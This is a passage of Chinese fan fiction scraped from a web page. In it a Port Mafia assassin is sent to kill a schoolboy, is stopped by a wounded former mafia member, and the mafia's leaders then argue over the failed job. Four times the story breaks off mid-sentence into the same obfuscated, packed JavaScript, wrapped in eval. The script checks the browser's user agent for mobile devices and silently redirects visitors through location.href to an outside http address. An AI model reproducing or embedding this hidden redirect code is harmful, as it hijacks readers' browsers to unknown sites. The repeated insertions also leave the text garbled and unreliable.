这样的任务,难度会很高吗,明明只是杀死一个手无缚鸡之力的学生。 他乱想的时候,店门口多了一个人。 来人在这个街道格外受欢迎,来的时候两手空空,离开时手里提了不少附近商家塞给的礼物。 二人有意无意地看向他这边,嘴里却在讨论一位书店老板的事。任务说明上没有提到书店老板的事。但目标人物常来这里,这种消息不可放过。 此时中岛敦尚未发现他被首领隐瞒了什么。 一切得来不费工夫。他只是在街头漫步,就看到他此行的目标,正和其他几个同龄人一起,同方才出现在书店门口的二人热切地就某个话题说个不停。 到目前为止,他想不通这名和港口黑手党无关的人必须赴死的原因。但对他来说,完成任务是最重要的,其他事都该被抛之脑后。 ……啊,真是出乎意料。 他较为随意的攻击没有中,还招致了反击。这居然是一群擅长体术的家伙。 他的“敌人”们仍在七嘴八舌地讨论,十分热闹。相比之下,他是多么势单力薄。 用异能的话,能在瞬间全部解决。但根据首领的命令,他只要杀掉戴眼罩的少年。 也只能这么做。 眼前这个话多又动作极其敏捷的人在他思考的瞬间不由分说地一拳袭来。拳风里夹杂着他看不懂的激动兴奋和冬日里让人颤抖的凛冽寒意。 虎化的胳膊稳稳挡住此人来势汹汹的拳头,另一高个子年轻人的反击也接踵而至。 率先动手的二人阻挡不起作用,其他人也一样,连拖住他的脚步都做不到。 他的目标聪明地没有站在原地,而是在判断他的目标是自己之后,一边看着手机屏幕,快步向远处逃去。 有种想法从他的脑子里一闪而过,可倏忽间又失去踪影。他没放在心上。 形单影只的少年似乎知道自己逃不掉了,干脆在跑远一段路后,站在桥边回头望着他,脸上露出一副耐人寻味的笑容。 就这样结束吧。中岛敦想。 稍微被碍事的家伙拖了几分钟…… 他不在总部,首领的安危就要全部压在那位干部身上。本就不讨那位干部喜欢的他,估计要更被讨厌了。他想,得早点回去。 但当他发现司机的电话现在打过去无人接听,他意识到可能出问题了。 就描述来看,这是他一个人就能完成的任务,但首领要求他多带一支小队。他那时没能理解首领的意思。看了看站在原地没动的少年,他又拨出一个电话,打给那支小队的队长,同样无人接听。 ……算了。 兽化的虎爪划向少年脆弱的脖颈,刺目的电光却好似天网从天而降。 诡异的电流渗入他的皮肉,包裹他的骨骼,让他寸步难行,每一寸血肉都在他大脑里哀嚎,浑身的骨头仿佛要散架。 在剧痛中,他竟不受控制地回忆起他半年前犯下的,绝对无可饶恕的罪行。 他违背了首领的命令,杀害了院长。 咬牙忍受快要让他意识模糊的疼痛,他依旧奋力朝目标挥出利爪。 ……但杀害院长后,他深深地后悔了。他的余生都会活在悔恨之中。 能力处在失控边缘,带刺的特制项圈刺穿他脖颈的皮肤,划出道道血痕。 站在他面前的仿佛不是任务目标,而是他记忆中从小不停“折磨”又“虐待”他的院长。 他终于又一次杀死了院长。 浓浓的悔意和无措再次席卷了他, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16593810|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他像坠入深海,快要窒息而亡。 他伏在地上,喘着粗气,视野模糊不清,项圈的尖刺反复刺痛他的皮肉,他期待又恐惧地看着面前模糊不清的人影,但他不知道自己在期待什么。 他不停地眨眼,干涩的眼睛变得湿润,他终于看清了。 捂着鲜血淋漓右臂的不是他的目标,也不是出现在他幻觉中的院长,而是一个陌生青年。 生着一双红色眼瞳的青年俯视着他,面无表情,一言不发,仿佛在看一个死物。 听到目标称呼青年是“佐久间先生”,他心中一惊。发觉自己狼狈地趴在地上,当他立马就要爬起来,一串凭空出现的电流立马从他身体中流淌而过,让他动弹不得。 凌乱的脚步靠近他们,靠近这处本该冷清的桥边。 跟随他来此的成员此刻才出现,但不比他好到哪去,像在煤灰里打了个滚。 怎么会这样。 这就是首领暗示过他的,自己可能遇到的“阻碍”?可是,怎么可能……怎么可能呢,这里为什么会有异能力者。 “中岛君,也许……我们搞错了。” 小队队长没敢直说,恐怕是“首领”搞错了。 他是几年前从欧洲部门调回来的,别人不认识这个青年,但他是认识的。 中岛敦从地上爬起来,比起往日稍显灵动的眼睛盯着被自己伤到胳膊的青年。不等他站稳,又一阵剧痛冲刷着他的脊背和四肢,但仅仅持续几秒,悄然散去。 “什么意思。” “这位是……”年纪不到三十的队长咂舌,“曾经在欧洲部门担任中原干部副手的佐久间弥津先生。” ……什么? “所以,我们……”队长的声音逐渐小了下去,脸上露出尴尬的笑,“我们可能真的搞错了。” 中岛敦倏地回过头来,仔细打量不为自己辩解也不出声打断队长说话的青年。 为什么是“曾经在”? 他对欧洲部门部门的确知之甚少。只知道欧洲部门曾经受中原干部的管理,如今的代负责人是个异能力十分诡异的青年。 他们需要好好谈谈。 他瞥向任务目标,这个成为问题根源的少年,但此人的注意力全都在名叫佐久间弥津的青年身上,不曾分给他半个眼神。 这算任务失败吗?无人能回答这个问题。 他神情麻木地看着青年的右臂,心头不知怎么的有些发凉。 他不认识佐久间弥津,佐久间弥津的反应也不像认识他。他不会全然相信小队队长的话,欧洲部门的成员为何会出现在这里,和成为他任务目标的人又是什么关系。 “是这样的,中岛君……” 队长神情庄重地朝不久前把他们这些小喽啰单方面“教训”过一遍的青年鞠了一躬。无论佐久间弥津先生现在是不是组织的成员,他作为佐久间弥津曾经指挥过的下级,对其具有一般成员没有的敬意。 请允许他擅自代替佐久间先生,向组织里现在的首领直属成员解释佐久间先生的情况。佐久间先生的嗓子在任务中受了很严重的伤,直到现在,都没办法像正常人一样说话。 理论上,那是工伤。 “几年不见,佐久间先生。见到你还安好,我真开心……那些怀疑你下落不明是因为叛逃被杀的成员,也该闭嘴了。” 35.开枪的都市传说 中岛敦一言不发,将开着视频通话界面的手机朝向青年。 仿佛他才是那个伤到嗓子不能说话的人,把自己当成铁做的手机支架。 借用AI电子音回应首领视频通话的青年未及时处理自己受伤的右臂,始终守在一边不曾离开的目标人物神色则越发担忧。 从青年袖口滴下的血液在路面上积蓄起一滩血迹。他下意识握紧拳头,方才的幻觉再次出现在他脑海中,扰乱他的呼吸,让他频繁地忘记自己此刻是在远离横滨的小城一角,而不是在注定让他被悔恨一点点吞噬的孤儿院院长室。 “你伤得很重呢,佐久间君。” 从小小的心型吊坠里发出的声音平静地回答港口黑手党首领的问题。 “不劳费心,我稍后就去处理” 他深呼吸一口气,把注意力扯回现在的时空。 “我很好奇,你和那名少年的真实关系是什么?” 中岛敦直视前方,在首领看不见的地方关心着这个困扰他的问题。 佐久间弥津的答案,中岛敦听得到,苏枋隼飞也听得到,通话另一头的人同样听得一清二楚。 “他同我住在一起” 这话……倒也没错。苏枋隼飞偏头望着身边面色如常的青年。即使这样的生活只度过了两三天,但他们目前,确定无疑,绝对,是住在一起的。 * 一人一间房间,互不打扰。白天去学校,在风铃的街道上巡逻,这就是他一般而言的日常生活。而佐久间先生则在闭店之后一直呆在家里,除了三餐要手动解决,其他时间总是在客厅吹空调。 他为什么这么说?当然是因为前天下午回家,他看到佐久间先生躺在沙发上睡着了。 开了不知多久的空调暖风把客厅吹得暖烘烘的,也不怪佐久间先生会在这么暖和的家里毫无防备地睡着。那时是晚餐时间,不等他决定要不要叫醒佐久间先生,熟睡中的人却好似有所察觉般睁开了眼。 那双眼睛里重现了他习以为常的淡然,而非瞬间让人心跳加速的警觉,他才若无其事地找回自己的呼吸。 摆在桌上的笔记本电脑是熄屏状态,无线鼠标随意地摆在沙发扶手上,小憩前没有好好地放在桌上。 “晚上好,佐久间先生,你很困吗?” 这种有人在家——佐久间先生自己的家,等自己回去——安全到家没出意外——的感觉,新鲜又耐人寻味。 佐久间先生半眯着眼,心不在焉地点了点头,弯腰把笔记本电脑拿到自己腿上,坐回沙发上继续未完的“工作”。 不过,那可以称之为工作吗?说实话,他不知道佐久间先生平日里在做什么。看店的时候,在玩电脑游戏,然后出门补充饮料架和日常用品,此外还有何事?联系出版社拿书,书店的租金是一年一交或者半年一交吧。 然后又突然放下电脑去接杯热水喝药。 他远远看着电脑屏幕上的聊天消息,佐久间先生的对话框像在被轰炸,有新消息的界面会顶到最上层,所以电脑屏幕每一秒都会变化。幸好佐久间先生开了静音,否则,直到深夜,消息提醒都不会停歇。 他这两天会按时回“家”,佐久间先生就会在他进门后倒水吃药,仿佛他是佐久间先生定的提醒自己吃药的闹钟。 虽然这种比喻很奇怪,但他很乐意起这样的作用。 他以前没想象过自己会和佐久间先生共处一室。早晨离开卧室见到的是佐久间先生,晚上睡觉前见到的还是同样的脸,同样艳丽的眼瞳。 原因是意外,过程他很享受,住在佐久间先生的家里很有趣,也很新鲜。 * 但结果他很讨厌。 他甚至不能去握佐久间先生血迹纵横的右手,生怕错误的触碰带来折磨人的疼痛。 站在他身边的人垂着右胳膊,只用左手控制手机,神色平静,但没多少血色。佐久间先生在对方已经瘫倒在地却仍暴起攻击他的瞬间挡在他身前,他亲眼看着敌人的手变成非人的利爪,挥中的刹那鲜血飞溅。 时间好像定格在了这个让人心痛的时刻。 和那个男人的通话里,佐久间先生一声不吭,单靠电子音和对方不卑不亢地交流,提到那名年轻杀手的能力,也提到了他未来的命运。但任谁也明白,除了佐久间先生和电话那头的男人,谁也没资格参与这场对话,包括他。 他们的敌人匆匆而来,又匆匆离去,仿佛永日奔波在罪恶和深渊之中,没有留下半句该有的歉意。佐久间先生对着手臂上的伤口沉默了许久,但他看不穿佐久间先生心中的想法。是对前组织的怀念,还是对前组织不念旧情,痛下杀手的怨恨。 他对找不到他的同伴们报了平安,并声称那人只是认错了目标,已经离开了。 桥头离佐久间先生的家很近,执意回到家里的佐久间先生指挥他拿剪刀剪开被划烂的衣服。 他小心翼翼地动剪刀,一边注意着佐久间先生的脸色,一边还要竭力稳定拿剪刀的右手。剪得他额头冒汗,终于完整地剥离和鲜血糊在一起的布料。 万幸没有伤到骨头,鲜血淋漓是数道划伤造成的盛况。 佐久间先生用左手打字的速度慢了点,但指令明确,让他去书房的地上拿急救箱,然后按他的指令,给伤口消毒,再细致包扎好。 【书房的柜子里有一把手枪,拿给我】 佐久间先生又给出新的“命令”,他愣了一下,照做不误。枪沉甸甸的,拿在手里有点份量。 【会上膛吗,弹匣里有两颗子弹】 他无奈摇头,难道让他学着电影剧集里的桥段给一把真的半自动手枪上膛。佐久间先生没有介意他的无知,讲清了每一步,而当他把按步骤上膛的手枪放到佐久间先生的左手里,拿到枪的人毫不犹豫地对准卧室的门开了一枪。 枪声在室内震耳欲聋,从他暂住的房间走出来的金发青年则做出投降的姿势,一脸讪笑。 “哎呀,不好意思,我打算自己待会儿偷偷溜走,当无事发生的。” 和佐久间先生的下属一样戴着墨镜的青年嬉笑着坐到另一边的沙发上,稍微向前探出身,“自以为”小声地对佐久间先生说,“我以为,你对首领说你们住在一起只是个托词,没想到真的是‘住’在一起。” 佐久间先生突然把枪递向他,视线仍然停留在不请自来的青年身上。 他福至心灵,接过手枪上膛后再次递回到佐久间先生手里。这次对准的是金发青年的脑袋。 “佐久间君!”青年踩着沙发,灵活地翻到沙发后面躲起来,“我可是带着中也的命令来的,你不能这么做!你居然不记得我了?我们三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16598403|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年前见过的!” 青年吵闹着要佐久间弥津放下枪,像个幼稚的孩童。 “你居然是欧洲部门有名的武斗派,真是人不可貌相。”自称信天翁的青年嘟囔着,对不肯放下枪的执伞人表明来意,“中也让我传话给你。” 信天翁坐回原位,不在乎沙发被自己踩了一脚。 如果不是中也特地“拜托”他人肉送句话来,他怎么可能来这里。 “我知道你要问什么,你想问我为什么会知道你家的位置,对吗?” 他呢,平时在组织里就干点小事,不是大人物,“不像你,那么——好了好了我明白了!” 佐久间弥津扣动扳机的动作太吓人,几乎擦着信天翁肩膀射出的子弹击中了墙。冷淡疏远的神情让他意识到佐久间弥津的耐心即将被消耗殆尽。 “中岛敦和其他人出行需要报备,报备所用的车型和路线——对我和我的下级报备。所以我能比其他人更早知道他们的目的地。但你也看见了,我没比他们快多少。” 信天翁唉声叹气了一阵,偷偷去瞧佐久间弥津的表情。 毫无变化啊!连一点怜悯都没有,这家伙是面瘫吗?果然是棘手的家伙,怪不得中也命令他悄悄来。 看着佐久间弥津把用光子弹的枪放到少年手上,他多看了几眼。这名戴着眼罩的少年意外招致的杀身之祸……还真是毫无逻辑的意外。 哎,但毕竟生活嘛,就是这样子的。 “‘如果你不能在中岛敦手里保住这个少年的性命,你就别回横滨去了’,中也这么说了。从结果来看,你做到了。我起初觉得你做不到,因为那可是个经常发疯的小子。” 他对欧洲部门的了解还是太少。他是听说那边的人一个赛一个的奇葩,那个水落……姓水落的脾气已经够怪了,佐久间弥津根本无法正常交流啊。 哪个方面都无法正常交流。 “现在好了,你们差不多是两败俱伤,而且你伤得更惨一些。”像把佐久间弥津的家当成了自己的办公室一般,坐姿歪七扭八,说起话来仿佛和佐久间弥津多熟悉似的,“我说,你们能不能说点什么,你不是有黑科技吗?” 让他一直说话很累的。 在传闻里,佐久间弥津是个和姓水落的那家伙不相上下的人。也许真的如此,哪有人被中岛敦划了一爪都一声不吭的? 不能说话是一回事,不因疼痛而惨叫又是另一回事。 他偷看的时候,没看花眼的话,中岛敦明明被压制住了,却还能拼着最后一口气暴起伤人。 莫非佐久间弥津在最后关头放了中岛敦一马。直接攻击对方的心脏和大脑,这不是这类异能力者最爱做的事吗?为什么还会对中岛敦手下留情。 ……苦肉计?主动暴露破绽?这家伙为什么要这么做。 他凝视着那双玫红色的眼睛,越发觉得这个年轻男人可怕起来。 欧洲部门真是人才济济。 “说实话吧,佐久间君,你还回去吗?”信天翁以此作为结束沟通前的最后一个话题。 “不回去的话,你方才不就是在欺骗‘我们’的首领吗?说什么,这小子是你要考虑之后带回欧洲部门的人。不过,我能理解你,从中岛敦手里保人,和从首领心里保人,两者的差距不亚于富士山和珠穆朗玛峰的差距。” 36.去了外地治病的都市传说 墨镜青年的态度出奇的友好。据其本人所言,是因为“你能把我神不知鬼不觉的干掉”,态度不得不好点。 “知道我来这里的人,只有中也和你们哦。只要你们不说,我就不会被其他高层追责。也正因此,你……” 信天翁隔空点了点佐久间弥津。“你真的干掉我的话,中也会替我报仇的。再见。” 不请自来的青年离开时走了门,光明磊落。 等组织的眼目离开,佐久间弥津再也无法强撑冷静。只能垂着脑袋,合眼忍受持续不断的疼痛像看不见的火焰般焚烧他的伤口,鞭策他反省自身。 少年的手指攀上佐久间弥津的右手,将他握成拳的手拢在掌心。深入骨髓的疼痛随着药效渐起,不再那般尖锐,却依旧让人冷汗直流,呼吸难复平静。 刚包扎好没多久,缠在右臂伤口上的绷带就被新鲜的血迹渗透。 佐久间弥津说,抱歉。 “……你不该向我道歉,佐久间先生。” 苏枋隼飞不觉得佐久间先生该对他道歉。真正该道歉的难道不是仅仅被他看到长相就派人杀害他的黑手党组织首领?这样残忍无情的组织,能不能永远别回去? 就这样生活在这里,把书店一直开下去,他想看到佐久间先生的书店始终在营业,每次经过店门口都能看到佐久间先生一如往常在店里玩电脑游戏,等着几乎不存在的客人上门,还会从冰箱里拿冷饮分给路过上门打招呼的他们,无所谓他们这次有没有帮到他。 每一幕都让他心安。仿佛就算世界末日快要到来,佐久间先生的生活也不会因此改变。 苏枋隼飞继续替面前单手操作手机的青年换绷带。像镜子碎片般破碎的声音倒是提醒了他。他问,“今天的药吃了吗?” 允许他帮忙缠绷带的人点了点头。 身边差点遭遇不测的少年像是忘记之前所遭遇的事,神情专注地帮他包扎伤口,佐久间弥津的心情也很复杂。 他要装作不知道太宰治会派人解决苏枋,才能最大限度地稳定逐渐不可控的局面,掩盖自己过去一年里频繁和组织成员交流的罪责,掩盖自己以治病为名的临阵脱逃。 可能他的本质是个自私自利的阴险小人。 他赌太宰治是个生性多疑的人,赌输了也没关系。他要故意装作对组织里的决定一无所知,让太宰治看到他根本没在对付中岛敦的事上做准备,也让太宰治看出他对港口黑手党的态度,以打消对包括钢琴家在内的所有人的怀疑。 疑心一旦出现,就再也不会消失了。 “佐久间先生,你说的话是真的吗,”说你会考虑培养一段时间,带我回欧洲部门这种话,“难道你是在信口开河?我会当真的。” 迎着少年的笑脸,佐久间弥津艰难地控制自己实话实说的冲动,打下一句“再说吧”。 平心而论,情况已经失控了。从少年猜出他过往的经历开始,就预示着事情一定会变得麻烦又复杂。 伤口在隐隐作痛,他太久没有感受到这般撕心裂肺的痛楚。每一道划开皮肉的伤口都是教训,每一分针扎似的痛苦都在警告他,一定要和无关的人划分界限。 他对苏枋表示,明天,苏枋就能回自己的家了。 不会再有危险了。他不管旁人如何理解这句“苏枋同他住在一起”,想歪了或者想深了,他无所谓,但若是组织不留情面地对苏枋赶尽杀绝,他会做出自己的选择。 他们已经走得太近了,这样下去不太好。 可是你的胳膊不方便动,我可以照顾你。 少年自告奋勇。 青年轻轻摇了摇头,驳回了少年的提议,反而催促少年早点休息。 【别让其他人知道这件事】 可发生这样的事,苏枋隼飞又怎能当做无事发生般入睡。 他关上卧室的门,被子弹打穿的门上留下手指粗细的弹孔,客厅未熄的灯光从小孔穿了进来。他坐在床边,借着弹孔透进的灯光,揣测着佐久间先生的举动。 他静静听了许久,有缓慢的脚步声传来,紧接着,唯一一点亮光也熄灭了。脚步声又响起,像是回到了沙发边。 就这样,一整夜,客厅都没有其他声音传来。 他悄悄打开卧室房门,发现客厅里仅剩的一点光是从手机屏幕里传出的。凌晨三四点,佐久间先生坐在沙发上,单手操作手机,他勉强能看到佐久间先生的侧脸,却无论如何看不清那双红色眼瞳里的情绪。 * 几乎在沙发上坐了一整夜的青年失踪了。 家和书店的钥匙被留在了客厅茶几上,发给苏枋隼飞的信息里解释自己出趟远门,嘱咐他有时间的话,替他向问起他下落的人说他,他只是去外地一趟。 等待是人生里的常事。苏枋隼飞立马接受了这样的安排,但他为什么没听到佐久间先生离开的动静。 ——苏枋隼飞想不到自己是被职业杀手注射了能让他“好好睡一觉”的药物。 佐久间先生带走了手机和一把伞,笔记本电脑则原封不动地放在钥匙旁边。 他以为佐久间先生会像过去一样,一周或者半个月,不见人影,随后在一个平平无奇的午后或者早晨,推门进来,对他表示自己是去医院看病,但被大雪封路,只好同皑皑白雪对坐,将回来的时刻一推再推。 发给佐久间先生的短消息从没被回过,但这也许是黑手党组织成员的习惯,他如此猜想。 每当同伴们问起佐久间先生的下落,他都原话转述,说佐久间先生说自己要出趟远门,把家里的钥匙和书店的钥匙留了下来。 不了解真相的同伴们没有把他们遭遇的敌人和佐久间先生的离开联系到一起。怎么都等不到人,只好把礼品袋放在书店里的狮子头连首领可惜道,“我好久没见老板了。” 是啊,他也半个多月没佐久间先生的消息了。 他想办法把卧室门板上的弹孔用原始的方式补好,涂上了和门板颜色相近的油漆。墙上的弹孔如法炮制,摸上去还有凹凸感,但比弹孔印正常了许多。 直到旧年的最后一天,佐久间先生依旧下落不明。所谓出远门其实不过是托词,究竟去了什么地方,谁也不知道。他早把笔记本电脑搬进书房,找到了大小合适的防尘罩,也许正是为此准备的。钥匙则被他随身带着,给佐久间先生发消息说,如果今天回来的话一定要告诉他,他会把钥匙及时送回来。 可惜他精神抖擞地等到午夜时分,特意设置的消息提示音也没响。 他只好安慰自己,再等等吧,佐久间先生不可能就这样扔下这里的一切。 在把房子和书店都托付给他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16602838|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第二个月,他对佐久间先生的想念不仅没有被时间磨灭,偃旗息鼓,反而在寒冷的日子里像熊熊燃烧的篝火般愈发热烈。 佐久间先生虽然没有回来,但是有眼熟的人出现了。 戴墨镜的黑发青年等在校门口,朝他伸手,“把钥匙拿出来,两把都给我。” 面对这样毫无理由,伸手就要的做法,他婉拒了。但凡佐久间先生这么吩咐过他都会照做。 青年似乎被他气笑了,手伸向衣服内里的动作像在拔枪,“……行。你现在去开门,我有东西要拿。” 这次他不再“胡搅蛮缠”。站在佐久间先生的家门口,一动不动地看着青年打包带走笔记本电脑。 他问了至少五遍,佐久间先生在哪里。可青年懒得回答他,继续让他去开书店的门,从书店隔间里拖出一件长条箱子,箱子里装着的是一把狙击枪。 他不甘心一点消息都没问出来。 被他烦到的人一摘墨镜,金瞳死盯着他,一脸烦躁,“他在准备做手术,你别太烦了。你知道自己差点搞出多大的错吗?下次再给弥津大人惹麻烦,我下一秒就干掉你。” 哦,好的,我知道了。 得到想知道的消息,他满意地目送青年离开。 等佐久间先生做完手术,嗓子会恢复到什么程度呢?他想,能说一长段话都不休息吗。 连刺骨的冷风都不能吹熄他的热情。 * 对他来说,每一次等待都是有用的。 没有什么能比得上一觉醒来,发现手机里多了条未读消息更让此刻的苏枋隼飞心跳加速。他飞快地收拾好自己,赶在八点整之前到了店里,把挂在店门上好几个月的暂停营业牌子摘了下来。 【可以在十点前把钥匙放在书店里吗,我今天到】 难道这不是比任何消息都更让人高兴的事吗。他后知后觉自己应该回复点什么,然而,琢磨好半天,他只回了一行【我到书店了】 当他以为这条消息会像之前无数次一样石沉大海,简短的回应很快出现。 【好】 这就是佐久间先生本人的语气吧,他欣喜地想。 为了不让书店和佐久间先生的家因为长久无人光顾而落灰,他经常抽空去打扫。 今年的第一场雨还没下。干燥寒冷的空气不容易弄脏玻璃墙,一连许多天的好天气,仿佛正是为此而存在的。 临时被附近的商户拜托去帮忙,在回店里的路上,他路过花店,就买了一束花。花店老板问他要送给谁,他说要送给一个治好病回家的人。 他的脚步在靠近书店的时候慢慢停了下来,他看到两个多月没见的人已经站在店内。 佐久间先生背对着街道,没有受伤的左手提着手提包,较轻的黑色长柄伞则握在右手。身上早已不是离开那日的打扮,暖棕色的毛呢大衣好似将温暖带进了被孤单沉闷色彩塞满的书店。 青年回过头来,仿佛早已听到他的脚步。 “……辛苦了,苏枋。” 他第一次听佐久间先生不用任何外置道具叫出他的名字。 “去外地,做了手术,现在是恢复期。” 虽然声音依旧粗糙干涩,每多说一句,嘶哑就越发明显,但比过去好了千百倍。 “欢迎回来,弥津先生。” 37.对下属很有自信的最高干部 中岛敦很难说自己是以何种心情站在首领的办公桌前的。按道理说,他的任务的确失败了,这是他作为首领直属部下的耻辱。而且,按照过往的经历,他要面对的是压抑的气氛。 本该是这样。 被带回港口黑手党以来,相比于在孤儿院,他的人生真的发生了翻天覆地的变化吗?他对此至今保持疑问,他的未来是明朗的吗,还是仍然阴云密布呢。 他还没有得出确切的答案。 他站在办公桌前,沉默地等待两位上级结束关于此事的“争吵”。 “我又没拦你,朝我撒什么气?” “你以前的下属拦我了!” “你的‘以前’是几年前?佐久间都说了那小子和他住在一起,他们什么关系你看不出来吗?你要是对那小子赶尽杀绝,佐久间今天半夜就摸到你床头。” “看不出来呢。” “……别烦我了。” 碍着中岛敦在场,中原中也实在没办法一脚踹翻首领的桌子和首领本人,然后逃之夭夭。 明明你也借此顺利把中岛敦支开,去悄悄干了点要对其他人保密的事,现在任务失败你凭什么怪我头上。 “那是你的下级。” 港口黑手党的首领死咬着这点不放,非要中原中也说出个解决办法。 首领的秘书此刻敲门进来,能允许最高干部展露脾气的机会越来越少。 他不能当着这么几个下属的面把这个胡搅蛮缠的家伙骂一顿,只能压着心头的火,说,“他辞职了。” “……他会回来的。” 太宰治语气轻飘飘地说出这句话,屋内的气氛突然冷却下来,再不复几秒前二人几乎吵得面红耳赤的喧哗。 “那就等他回来再说。”最高干部摆了摆手,对这个话题失去了兴趣,“我会安排他回欧洲部门。” “不行不行,还是让他在国内呆着吧。你不是一天到晚喊自己累吗。那就安排人帮你好了。” 最高干部没回答,从中岛敦身边走过,瞥了他一眼。 中岛敦自觉愚钝,看不出中原干部此刻心中所想。 但他有想知道的事。想要得到答案的欲望越发强烈,以至于让他在枪林弹雨中,竟然停下步伐,忘却自己身处在暴动的漩涡,回忆起几天前亲身经历的幻觉。 那般逼真的幻觉,让他以为被太宰先生从孤儿院带离,生活在港口黑手党的这几年不过是他做的一场奇幻的梦,好像他依然是那个躲在墙根,面对疼痛“折磨”只会害怕地小声哭泣的孩童,而不是如今的中岛敦。 唤醒他的是右臂中弹的疼痛。 他不敢在报告任务过程时抬头看太宰先生眼里的情绪,生怕看到的是满满的失望和怀疑。好在这样的意外只出现一次,他很快调整好自己的状态。 那名青年逐渐变成他工作之余放空大脑时常思考的事。 他不了解欧洲部门,不了解那边的运作模式,也不认识现阶段的负责人,更何尝有机会了解“前成员”。 中原中也先生的语气似乎对这位前下属很满意,就连太宰先生也说可以安排在中原中也先生身边。 那是一个怎样的人。 难得的外勤之后,他的生活回到了正轨,回到了作为首领直属部队成员的正轨。 若不是发觉中原先生对他的态度有些难以捉摸的变化,他也不敢在某个漫天飘雪的工作日,对偶遇的最高干部问,“请问……” 不过,他知道中原干部从来对他都没好脸色。他好不容易鼓起的勇气就这么被一个眼神轻易打碎。反倒是中原干部身边的青年对他充满善意地笑了笑,开口为他找台阶下,“是想问什么?要不要先进办公室,站在走廊里会妨碍到别人的。” 虽然,其实不会有成员不长眼地闯进他们的场合。 中原干部没有表态,但先一步进了办公室。他不记得名字的青年站在门口,那番态度,似乎真的在等他进去。 打圆场的还是这位青年。 “你想问什么呢?” “我……” 他磨磨蹭蹭,又引起中原干部的不满。害怕被赶走的情绪终究胜过了心中的犹豫不决。 他豁出去了,对着中原干部鞠了一躬。 “我想问……关于那位佐久间弥津先生的事。” 中原干部的语气褪去烦躁,只剩触手可及的冰冷。像他那间办公室的窗玻璃,寒冷又坚硬,摸上去像寒冰。 “你好奇他干什么。他已经不是组织的成员了。” 心知自己的犹豫会被看作胆怯,他只能干脆些说自己的心里话,“害他受重伤,我很抱歉。” 他感受到了两道审视意味的目光。 欧洲部门是如何真正成为一个独立的“部门”的,说来话长。真要谈论个清楚明白,不知要花多长时间。 欧洲部门最初只是大战末期时代的港口黑手党,在国外开设的业务据点,常驻成员远没有现在多。直接归属于据点的异能力者等于零,只有国内总部短暂派遣出差的成员。 从据点变成欧洲“部门”,得益于旧时在国外呆着的成员发挥聪明才智,各显神通,将组织在国外的事务越做越大,在前首领上位前,据点就有变成正式的独立部门的趋向,标志是拥有了全权负责人这样的概念。 前首领森鸥外在世时,欧洲部门已经完全独立,成员人数增加,各国分部也在逐步建立中。那几年里,欧洲部门的负责人是站在中岛敦面前的中原中也,港口黑手党如今的最高干部,也是目前唯一的干部成员。 到现在,欧洲部门不仅仅是“欧洲”的部门,不少和美洲国家有关的事务也往往由欧洲部门派人去做,此举是为国内部门减负。 无论哪个首领在位,从来都是被放养的欧洲部门展现出的是非一般的活跃性和忠诚——只看其办事能力的话。 在那种条件下会诞生怎样的一股力量,自前首领上位到今天,从欧洲部门培养出的新生代很好的回答了这个问题。 佐久间弥津的和水落望音就是很经典的组合。像许多不入流小说家所写的庸俗桥段那般,是脾气一好一坏的搭配。在部门成员眼里,如果发现任务里命令相互冲突,那或许是二人在互相说服的时候下达了错误的命令。 假如佐久间弥津没有离开,派谁担任欧洲部门的负责人就会是个令人头痛的问题。 欧洲部门目前并无干部成员在管理,但这不代表什么。当本部遭遇困难时,远在欧洲的部门成员会是稳定局势的第一人选,这就是欧洲部门额外起到的防御风险的作用了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16608217|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 道理就和……不会把所有的鸡蛋放在一个篮子里一样。 “这件事没什么好聊的。你只是听从命令干掉别人而已,佐久间没那么脆弱。” 当年那样的刀山火海都没杀得了他,中岛敦又如何能做到。 经验还是少了点。 感觉到中原干部的态度有松动的迹象,中岛敦又问,“他是什么时候……” 佐久间弥津是何时加入组织的呢?在首领同其的通话中,二人的关系没有他想象中陌生,他猜测,二人或许是同龄人,早年间相识。 中原中也却不再想对中岛敦吐露佐久间的任何事。 